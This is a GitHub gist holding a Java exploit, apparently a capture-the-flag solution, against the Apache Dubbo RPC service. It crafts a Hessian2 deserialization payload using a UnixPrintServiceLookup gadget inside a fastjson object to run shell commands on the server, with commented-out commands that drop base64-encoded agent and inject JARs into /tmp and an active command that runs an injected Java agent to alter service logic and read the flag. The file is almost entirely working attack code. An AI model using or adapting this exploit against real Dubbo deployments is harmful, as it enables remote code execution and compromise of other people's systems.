Created
December 29, 2022 02:08
-
-
Save yemoli/5b2f4abca69128f013b128d82110d37c to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import com.alibaba.fastjson.JSONObject; | |
import org.apache.dubbo.common.io.Bytes; | |
import org.apache.dubbo.common.serialize.hessian2.Hessian2ObjectOutput; | |
import sun.misc.Unsafe; | |
import sun.print.UnixPrintServiceLookup; | |
import java.io.*; | |
import java.lang.reflect.Field; | |
import java.net.Socket; | |
import java.util.HashMap; | |
import java.util.Random; | |
import static org.apache.dubbo.common.utils.FieldUtils.setFieldValue; | |
public class Exploit3 { | |
public static void main(String[] args) throws Exception{ | |
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); | |
byte[] header = new byte[16]; | |
Bytes.short2bytes((short) 0xdabb, header); | |
header[2] = (byte) ((byte) 0x80 | 2); | |
Bytes.long2bytes(new Random().nextInt(100000000), header, 4); | |
ByteArrayOutputStream hessian2ByteArrayOutputStream = new ByteArrayOutputStream(); | |
Hessian2ObjectOutput out = new Hessian2ObjectOutput(hessian2ByteArrayOutputStream); | |
/////////############################################ | |
Field theUnsafe = Unsafe.class.getDeclaredField("theUnsafe"); | |
theUnsafe.setAccessible(true); | |
Unsafe unsafe = (Unsafe) theUnsafe.get(null); | |
Object unix = unsafe.allocateInstance(UnixPrintServiceLookup.class); | |
setFieldValue(unix, "osname","hack"); | |
//写agent.jar /tmp/agent.jar | |
// String cmds = "python3 -c \"import os;os.system('echo UEsDBAoACAgIAGChjVXbYYpQnwAAANcAAAAUAAAATUVUQS1JTkYvTUFOSUZFU1QuTUZljrEKwyAUAHfBf/AHlEShFLckQ6EglA5dy6O+NKapKWoC+fuahE4dj7vhDHjXYkz8hiG60WtWioKSenJD4vWi2aIoqZ7oE28GiFEzs2xowHlKGvD8ihZb53EPMCcpTPhzKYCP7Rjef3pFfoHUadbDnMHlDSWkFAU/V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hdmVuL29yZy5leGFtcGxlL2FnZW50X2R1YmJvL3BvbS5wcm9wZXJ0aWVzUEsFBgAAAAAKAAoA5AIAAAUUAAAAAA== | base64 -d > /tmp/agent.jar')\""; | |
//写/tmp/inject.jar | |
// String cmds = "python3 -c \"import os;os.system('echo UEsDBAoACAgIAM5ZjlXbYYpQnwAAANcAAAAUAAAATUVUQS1JTkYvTUFOSUZFU1QuTUZljrEKwyAUAHfBf/AHlEShFLckQ6EglA5dy6O+NKapKWoC+fuahE4dj7vhDHjXYkz8hiG60WtWioKSenJD4vWi2aIoqZ7oE28GiFEzs2xowHlKGvD8ihZb53EPMCcpTPhzKYCP7Rjef3pFfoHUadbDnMHlDSWkFAU/VaKHkKOAkNBuJ9UHHh0yAzN6psRBqP3T8rN9rd9HUdylLCmh5AtQSwcI22GKUJ8AAADXAAAAUEsDBAoAAAgAAM5ZjlUAAAAAAAAAAAAAAAAJAAAATUVUQS1JTkYvUEsDBAoAAAgAAM5ZjlUAAAAAAAAAAAAAAAAFAAAAaGFjay9QSwMECgAACAAAzlmOVQAAAAAAAAAAAAAAAA8AAABNRVRBLUlORi9tYXZlbi9QSwMECgAACAAAzlmOVQAAAAAAAAAAAAAAABsAAABNRVRBLUlORi9tYXZlbi9vcmcuZXhhbXBsZS9QSwMECgAACAAAzlmOVQAAAAAAAAAAAAAAACcAAABNRVRBLUlORi9tYXZlbi9vcmcuZXhhbXBsZS9hZ2VudF9kdWJiby9QSwMECgAICAgAzlmOVTKtJr58AwAAZgYAABYAAABoYWNrL015QWdlbnRNYWluLmNsYXNzjVTfdxNFFP6m2c0k221LU6JUfghYIKVtolQrNhWNLWihKdWUasuL080QFjebuNlw5N1/wldfeC6eU071yLv+RR4frN9uICRtHjhnz+zMN3fu/e5378zf//3+AsCHuG8hg/k0Zx+lsGDhY1yX+MSCiflhLKIYDUsWbHyaxjhuWPgMn0uUIvgLiWULo1hJ4abELYkvBcZX9APX15uB8lsPGkFdBwL2qu/rYNlTrZZuCaSdaLau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UAxQACAgIAMhZjlXNSZodbwIAAJUHAAAuAAAAAAAAAAAAAACkgbQPAABNRVRBLUlORi9tYXZlbi9vcmcuZXhhbXBsZS9hZ2VudF9kdWJiby9wb20ueG1sUEsBAhQDFAAICAgAzlmOVUFySyhgAAAAXwAAADUAAAAAAAAAAAAAAKSBfxIAAE1FVEEtSU5GL21hdmVuL29yZy5leGFtcGxlL2FnZW50X2R1YmJvL3BvbS5wcm9wZXJ0aWVzUEsFBgAAAAALAAsAJgMAAEITAAAAAA== | base64 -d > /tmp/inject.jar')\""; | |
//执行/tmp/inject.jar,修改远程服务方法逻辑,读取flag | |
String cmds = "python3 -c \"import os;os.system('/dubbo/java/jdk1.8.0_202/bin/java -Dfile.encoding=UTF-8 -classpath /dubbo/java/jdk1.8.0_202/lib/tools.jar:/tmp/inject.jar hack.TestAgentMain')\""; | |
setFieldValue(unix, "lpcFirstCom",new String[]{cmds,cmds,cmds}); | |
JSONObject jo = new JSONObject(); | |
jo.put("oops",unix); | |
/////////############################################ | |
out.writeUTF("xxxxx"); | |
out.writeUTF("org.apache.dubbo.registry.RegistryService"); | |
// out.writeUTF("org.apache.dubbo.metadata.MetadataService"); | |
// out.writeUTF("DemoService"); | |
out.writeUTF("0.0.0"); | |
out.writeUTF("$echo"); | |
out.writeUTF("Ljava/lang/Object;"); | |
out.writeObject(jo); | |
HashMap hkhash = new HashMap(); | |
hkhash.put("aaa","bbb"); | |
out.writeObject(hkhash); | |
out.flushBuffer(); | |
Bytes.int2bytes(hessian2ByteArrayOutputStream.size(), header, 12); | |
byteArrayOutputStream.write(header); | |
byteArrayOutputStream.write(hessian2ByteArrayOutputStream.toByteArray()); | |
byte[] bytes = byteArrayOutputStream.toByteArray(); | |
Socket socket = new Socket("127.0.0.1", 20880); | |
OutputStream outputStream = socket.getOutputStream(); | |
outputStream.write(bytes); | |
outputStream.flush(); | |
outputStream.close(); | |
} | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment